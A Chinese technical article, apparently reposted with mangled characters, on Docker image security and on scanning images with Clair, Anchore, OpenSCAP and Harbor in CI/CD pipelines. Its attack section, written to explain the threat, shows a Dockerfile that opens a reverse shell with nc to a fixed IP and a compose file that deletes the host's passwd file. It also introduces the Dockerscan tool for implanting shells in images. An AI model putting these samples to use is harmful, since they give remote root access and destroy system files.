docker安全

做者介绍
林伟壕，SecDevOpsor，前后在中国电信和网易游戏从事数据网络、网络安全和游戏运维工做。对Linux运维、虚拟化和网络安全防御等研究颇多，目前专一于网络安全自动化检测、防护系统构建。

在以前的文章《从自身漏洞与架构缺陷，谈Docker安全建设》中，咱们介绍了Docker存在的安全问题、整套Docker应用架构的安全基线以及安全规则，重头戏是Docker安全规则的各类思路和方案。

本文做为“续集”，考虑到镜像安全问题的广泛性和重要性，将重点围绕Docker镜像安全扫描与审计的具体实现展开讨论，包括技术选型、功能使用以及如何与企业Docker容器编排系统、仓库集成等具体问题，最后还提供了一个现成的开源集成方案。

1、概述

根据绿盟2018年3月的研究显示，目前Docker Hub上的镜像76%都存在漏洞，其研究人员拉取了Docker Hub上公开热门镜像中的前十页镜像，对其使用Docker镜像安全扫描工具Clair进行了CVE扫描统计。结果显示在一百多个镜像中，没有漏洞的只占到24%，包含高危漏洞的占到67%。不少咱们常用的镜像都包含在其中，如：httpd、Nginx、MySQL等等。

有句行话说的好：未知攻，焉知防？下面先介绍Docker镜像***的具体实现方式，而后再提出已有的安全防御方案。

2、Docker镜像***

针对Docker容器的，有利用Docker Daemon API的，也有K8S、Mesos等容器管理平台的，这方面的***利用门槛较低、获取成果又很是丰富，反弹Shell、getRoot均不在话下。

不过，今天讨论的是针对Docker镜像的，常见的方式主要有Dockerfiles、Docker compose两种，然后面讲到的Docker镜像自动化***则主要利用Dockerscan这款工具。

一、Dockerfiles***

道理很简单，在Dockerfiles中写入恶意命令，如反弹Shell或者添加恶意用户等，或者引入存在漏洞的应用，如使用存在远程命令执行漏洞的Strusts2。下面是一个现成的Dockerfiles。

FROM alpine:latest
RUN apk add --update --no-cache netcat-openbsd docker
RUN mkdir /files
COPY * /files/
RUN mknod /tmp/back p
RUN /bin/sh 0</tmp/back | nc 192.168.160.1 12345 1>/tmp/back

一旦客户端Build完镜像，启动容器，就会向控制端反弹Shell：

nc -lv 192.168.160.1 12345

sh# id
root

二、Docker compose***

相似的，编写好存在恶意命令或者漏洞组件的Docker compose文件，一旦客户端Build完镜像，启动容器，就会执行***命令或暴露漏洞组件。

test:

image: ubuntu:14.04
volumes:

• /etc:/test
  command: rm /test/passwd

三、Docker镜像自动化***

Docker镜像自动化工具Dockerscan可扫描网段或者目标识别是否为Docker Registry，也支持对Docker Registry操做镜像，更支持修改镜像，将植入正常镜像中，当用户运行该镜像时，***者就会接收到反弹出的Shell，从而达到控制服务器的目的。

pip3 install dockerscan

dockerscan -h
Usage: dockerscan [OPTIONS] COMMAND [ARGS]...

Options:
-v Verbose output
-d enable debug
-q, --quiet Minimal output
--version Show the version and exit.
-h, --help Show this message and exit.

Commands:
image Docker images commands
registry Docker registry actions
scan Search for Open Docker Registries

3、Docker镜像安全扫描

经过本地Docker images命令或者操做Docker Registry就能恶意修改镜像，植入**。但这仅仅只是产生Docker镜像安全扫描需求的缘由之一。

另外一种状况，全球最大的Docker Hub上面有官方的，也有用户上传的任意镜像，可是目前Docker Hub上面只有Office Repo的才会自动调用Docker Security Scan，其余的即使是恶意image也不会有报警或者拦截的，我的镜像则须要付费扫描。

所以，当咱们使用外部Docker Hub的镜像时一样须要进行安全扫描。若是没有镜像安全工具，非Office的Repo Docker Pull时必定要仔细阅读Dockerfile或者下载Dockerfile本地Build。下面是Docker官方镜像安全扫描的流程图：

不过还好，目前CoreOS官方已经推出了Clair镜像安全扫描工具，该工具也被多款Docker Registry集成，好比VMware中国开源的Harbor（CNCF成员项目）、Quary以及Dockyard等。此外，还有一个Docker镜像安全扫描工具新星：Anchore，不只支持对镜像的静态扫描，还支持对容器的动态扫描。

一、Clair

Clair首先对镜像进行特征的提取，而后再将这些特征匹配CVE漏洞库，若发现漏洞则进行提示，其功能侧重于扫描容器中的OS及APP的CVE漏洞。该工具能够交叉检查Docker镜像的操做系统以及上面安装的任何包是否与任何已知不安全的包版本相匹配，支持跟K8S、Registry结合在一块儿，在镜像构建过程进行漏洞扫描，支持OS普遍，提供API，能提供构建阻断和报警。

在开始分析Clair以前，咱们须要明白几点：

• Clair是以静态分析的方式对镜像进行分析的，有点相似于杀毒软件用特征码来扫描病毒。
• Clair镜像分析是按镜像Layer层级来进行的，若是某一层的软件有漏洞，在上层被删除了，该漏洞仍是存在的。
• Clair的漏洞扫描是经过软件版本比对来完成的，若是某个应用，好比Nginx ，它在镜像中的版本为1.0.0，而该版本在数据库中存在1.0.0对应的漏洞数据，则表示该镜像存在对应的漏洞。

架构

Clair总体架构图以下所示：

总体处理流程以下：

• Clair按期从配置的源获取漏洞元数据而后存进数据库。
• 客户端使用Clair API处理镜像，获取镜像的特征并存进数据库。
• 客户端使用Clair API从数据库查询特定镜像的漏洞状况，为每一个请求关联漏洞和特征，避免须要从新扫描镜像。
• 当更新漏洞元数据时，将会有系统通知产生。另外，还有WebHook用于配置将受影响的镜像记录起来或者拦截其部署。

此外，特有术语、驱动和数据源、通知方式的使用等能够参考官方文档。
见连接：https://github.com/coreos/clair

客户端

上面介绍的只是Clair的服务端，投入应用还需额外的客户端。目前从官方列出的衍生开发工具里，已经有很是多的选择。
衍生开发工具参考连接：
https://github.com/coreos/clair/blob/master/Documentation/integrations.md

• 官方客户端Clairctl测试效果以下：
官方客户端Clairctl参考连接：
https://github.com/jgsqware/clairctl

clairctl analyze -l cve-2017-11610_web

Image: /cve-2017-11610_web:latest
Unknown: 80 Negligible: 235 Low: 195 Medium: 418 High: 161 Critical: 0 Defcon1: 0

• Clair API3.0写的不怎么清楚，目前还能在CoreOS官网上查到APIv1版本的文档，可是对于使用新版已经没意义了，由于改变太大了。
• Klar，只支持跟Registry集成。
• Yair，只支持跟Registry集成，Yair是用Python写的，能够本身修改。
• analyze-local-images：命令行，可是被放弃了，只支持Clair v1/v2。

Clair API3.0参考连接：
https://app.swaggerhub.com/apis/coreos/clair/3.0
《APIv1版本的文档》参考连接：
https://coreos.com/clair/docs/latest/api_v1.html
Klar参考连接：
https://github.com/optiopay/klar
Yair参考连接：
https://github.com/yfoelling/yair
《analyze-local-images：命令行，可是被放弃了》参考连接：
https://github.com/coreos/analyze-local-images

使用建议

• Master不太稳定，不适合生产环境，建议用Release版本。
目前最新版本：
https://github.com/coreos/clair/tree/release-2.0
• 因为Clair会根据CVE库扫描Docker镜像使用的内核，可是实际上容器使用的是宿主的内核，这样可能产生大量无用漏洞或者误报；不过根据Clair开发组的意思，他们把决定权交给用户，默认不提供白名单机制，也不对此作区分。
• 第一次启动要下载数据到数据库，下载时间根据网络好坏肯定。能够用https://github.com/arminc/clair-local-scan替换Clair官方DB镜像。
• 检测到不少内核漏洞，但实际上能够不处理。可是Clair决定不过滤任何东西，而是交给用户决定，这样一来，用户二次开发，增长黑白名单机制在所不免。

二、Anchore

Clair能扫描出一个镜像中的全部CVE漏洞，但如今有一种状况，使用最新版无漏洞的OS镜像，而后在其之上安装后门，或执行恶意命令，这样Clair就不能检测其安全性了。

这时就要介绍一个分析工具Anchore了。

与Clair不一样，Anchore侧重于对镜像的审计，其有强大的对镜像的解析能力。Anchore是一个容器检查和分析平台，支持分析、检查、安全扫描，并为容器镜像提供自定义策略评估，好比黑白名单以及自定义规则。

架构

整个处理流程以下：

• 获取镜像内容并将其解压缩，但从不执行。
• 经过在镜像内容上运行一组Anchore分析器来分析镜像，以提取和分类尽量多的元数据。
• 将生成的分析保存在数据库中以备未来使用和审核。
• 根据分析结果评估策略，包括对镜像中发现的组件漏洞匹配。
• 更新用于策略评估和漏洞匹配的最新外部数据，并针对上游找到的任何新数据自动更新镜像分析结果。
• 通知用户政策评估和漏洞匹配的更改。
• 每隔一段时间重复上述两个步骤，以确保最新的外部数据和更新的镜像评估。

客户端

Anchore客户端叫Anchore-cli，能够管理和检查镜像、策略、订阅通知和镜像仓库。工做原理、安装和使用方式都很简单。
Anchore-cli参考连接：
https://github.com/anchore/anchore-cli

• 部署 支持源码安装和各类主流操做系统源安装

git clone https://github.com/anchore/anchore-cli

cd anchore-cli
pip install --user --upgrade .

• 配置和使用

配置Anchore Engine链接地址和认证方式；接着使用restful api给Anchore Engine增长镜像、查看镜像分析状态、执行镜像安全扫描、查看镜像分层信息并订阅CVE更新的通知。

使用建议

• Anchore这个已经被Anchore-Engine替代，目前再使用会出现各类奇怪的问题。
• Anchore分为社区版和商业版，社区版只有CLI接口，商业版提供Web页面以及更多的商业支持。

OpenSCAP

跟Clair相似，依赖CVE库进行漏洞扫描。目前已有Docker容器方案，Open SCAP4 Docker Docker image：能根据OSCAP数据库检测image/ container。
Open SCAP4Docker Docker image参考连接：
https://github.com/dduportal-dockerfiles/oscap4docker

安装

• 拉取镜像

docker pull dduportal/oscap4docker:1.0.0

docker run dduportal/oscap4docker:1.0.

• Build镜像

git clone https://github.com/dduportal-dockerfiles/oscap4docker.git

cd oscap4docker
cat DockerfileFROM dduportal/oscap4docker:1.0.0MAINTAINER <your name>ADD ./your-tests /app/oscap4docker-testsRUN yum install -y -q <your dependencies>CMD ["/app/oscap4docker-tests/"]docker build -t my-tests ./
...
docker run -t my-tests...

使用

docker-oscap image IMAGE-NAME OSCAP-ARGUMENTS

Scan a docker image.
docker-oscap image-cve IMAGE-NAME [--results oval-results-file.xml [--report report.html]]
Scan a docker image for known vulnerabilities.
docker-oscap container CONTAINER-NAME OSCAP-ARGUMENTS
Scan a running docker container of given name.
docker-oscap container-cve CONTAINER-NAME [--results oval-results-file.xml [--report report.html]]
Scan a running container for known vulnerabilities.
See man oscap to learn more about OSCAP-ARGUMENTS

4、与企业CI/CD系统联动的Docker镜像安全系统选型

一、Clair

集成到Rigistry和CI/CD

Clair能够直接集成到容器仓库中，以便仓库负责表明用户与Clair进行交互。这种类型的设置避免了手动扫描，并建立了一个合理的接收端以便Clair的漏洞通知到位。

仓库还可用于受权，以免泄露用户不该当访问的镜像漏洞信息。Clair能够集成到CI/CD管道中，如此一来，当生成镜像时，将镜像推送到仓库以后触发Clair扫描该镜像的请求。集成思路以下：

• 用户推送镜像到容器仓库，仓库根据设置的黑白名单选择是否调用Clair进行扫描。
• 一旦触发Clair扫描，则等待扫描结果返回，而后通知用户。

部署方式

主要有Kubernetes和本地部署这两种方式：

服务端

• K8S Cluster

git clone https://github.com/coreos/clair

cd clair/contrib/helm
cp clair/values.yaml ~/my_custom_values.yaml
vi ~/my_custom_values.yaml
helm dependency update clair
helm install clair -f ~/my_custom_values.yaml

• Local

$ mkdir $PWD/clair_config$ curl -L https://raw.githubusercontent.com/coreos/clair/master/config.yaml.sample -o $PWD/clair_config/config.yaml$ docker run -d -e POSTGRES_PASSWORD="" -p 5432:5432 postgres:9.6$ docker run --net=host -d -p 6060-6061:6060-6061 -v $PWD/clair_config:/config quay.io/coreos/clair-git:latest -config=/config/config.yaml

客户端

• 主分支版本

curl -L https://raw.githubusercontent.com/jgsqware/clairctl/master/install.sh | sh

• Docker-compose

$ git clone git@github.com:jgsqware/clairctl.git $GOPATH/src/github.com/jgsqware/clairctl$ cd $GOPATH/src/github.com/jgsqware/clairctl$ docker-compose up -d postgres

二、Anchore

Anchore与Clair相比更优越的地方，不只在于功能上，还在生态上。

好比Anchor目前能够经过Jenkins/Gitlab无缝地切入CI/CD工做流程，开发人员将代码提交到源代码管理系统，而后触发Jenkins/Gitlab启动建立容器镜像的构建。经过构建失败并返回适当的报告来让开发人员“快速学习”、快速解决问题。

接下来介绍Anchore如何与Jenkins进行集成，Jenkins与Gitlab集成也有官方介绍。

与Jenkins集成

此外，Anchore支持插件模式和本地模式，可是本地模式已经被官方抛弃，因此目前只能选择插件模式。

配置插件以与Anchore Engine服务API的模式能够从工做节点访问其服务API。Anchore插件能够在Pipeline做业中使用，也能够做为构建步骤添加到Freestyle做业中，以自动执行分析，评估镜像的自定义策略以及执行镜像安全扫描。

整个处理流程以下：Jenkins做业将构建容器镜像，并将镜像推送到Anchore Engine服务中预配置的仓库，构建步骤将经过“添加”镜像（指示Anchore Engine从仓库中提取镜像）与Anchore Engine交互，而后对镜像执行策略评估检查。若是策略评估致使“中止”操做，则能够选择将构建步骤配置为构建失败。该插件会将生成的策略评估结果与做业一块儿存储，以供往后检查/审核该插件可用于Freestyle和Pipeline做业。

部署方式

主要有Jenkins插件和Kubernetes两种部署方式：

Jenkins插件

假定如下先决条件已经知足：

1）Jenkins2.x已在虚拟机或物理服务器上安装并运行；
2）已安装并运行了Anchore-Engine，可访问EngineAPI URL（后称为<anchore_url>）和凭据（后称为<anchore_user>和<anchore_pass>），具体请参阅用户文档：Anchore Engine概述和安装。
参考连接：
https://anchore.freshdesk.com/support/home

Kubernetes调用Anchore Engine API

用户提交部署时，由Kubernetes经过调用Policy Validator服务来向Anchore Engine API发起镜像安全扫描，评估是否符合安全规则。不过，这样就没法在CI环节提早检测发现漏洞，而把漏洞留到了CD阶段，我的认为不是很好的设计。

三、Harbor

相信看了上面Clair和Anchore的落地方案，读者都会以为有些复杂，落地成本较高。值得高兴的是，VMware开源的Docker镜像仓库Harbor v1.2之后集成了Clair。

架构

集成Clair的功能依然是靠其官方镜像和Postgres结合造成，而扫描以后的信息则经过Harbor自身的数据库进行保存。

目前Harbor还不支持黑白名单机制。支持设置漏洞响应阈值，好比只有存在高危漏洞的镜像才会阻断后续CI/CD或者用户拉取。

Harbor除了集成了Clair的功能外，从v1.1起也增长了镜像内容信任的能力，能够帮助用户实现容器镜像的内容信任问题。经过内容信任（Content Trust）的机制来确保镜像的来源可信。整个镜像的安全扫描和审计逻辑以下图所示：

• 当用户提交镜像Build任务后，Registry V2会调用Clair的API提交分层后的镜像Layers，Clair扫描结束将结果发会给Harbor，Harbor再根据漏洞阈值决定是否容许用户下载。若是镜像的漏洞级别超过了这个阀值，镜像将没法下载。
• 当镜像的用户下载时，根据镜像的名称，能够从Notary得到镜像的摘要，而后使用Registry V2的API，作 Pull by content（Digest）的Registry调用，便可得到来自信任者的镜像。若是镜像没有签过名，获取Digest会失败，于是没法下载镜像。

下面是Harbor扫描结果展现：

上图显示了用户能够在Harbor上主动发起扫描，下图显示了镜像安全扫描结果。

部署

因为Harbor官方和社区提供了很是详细的部署文档，本文就不赘述了。

选型建议

经过上面的对比，读者能够根据本身的实际状况进行选择。若是方便迁移Docker镜像仓库的话，Harbor会是一个比较容易落地的选择。若是在Jenkins方面使用的比较重的企业，建议也能够选择Anchore。

5、结尾

综上，本文从Docker镜像漏洞挖掘入手，介绍了常见的镜像漏洞引入方式和检测工具。而后，介绍了业界比较流行的Docker镜像安全扫描工具的原理、架构、部署和落地方案，如若读者对Docker镜像安全扫描能有一个相对全面的了解，那便足矣。

参考

• Docker镜像安全概述：
http://blog.nsfocus.net/docker-mirror-security/
• 安全防御工具之：Anchore：
https://blog.csdn.net/liumiaocn/article/details/76732894?locationNum=10&fps=1
• Docker镜像安全扫描：
http://www.javashuo.com/article/p-oosxswla-ev.html
• Clair源码解析：
http://www.javashuo.com/article/p-hduktlkc-ng.html
• Clair二次开发指南：
http://www.freebuf.com/column/157784.html
• Docker镜像扫描器的实现:clair：
https://www.tuicool.com/articles/ZF7n6vr
• Clairctl部署案例：
http://www.javashuo.com/article/p-oosxswla-ev.html
• Analyze-local-images安装异常处理：
http://www.bubuko.com/infodetail-2600784.html
• Anchore github仓库：
https://github.com/anchore/anchore
• Anchore jenkins接入方式：
https://wiki.jenkins.io/display/JENKINS/Anchore+Container+Image+Scanner+Plugin
• Docker基础：私库系列：再探Harbor：(5)集成clair：
https://blog.csdn.net/liumiaocn/article/details/81813707
• 做者博文：Harbor容器镜像安全漏洞扫描详述和视频：
https://blog.csdn.net/q48S71bCzBeYLOu9T0n/article/details/78180109
• 容器镜像之明察秋毫：Harbor内容信任的原理及演示视频：
https://blog.csdn.net/q48S71bCzBeYLOu9T0n/article/details/80326458
• Harbor用户文档：
https://github.com/vmware/harbor/blob/master/docs/user_guide.md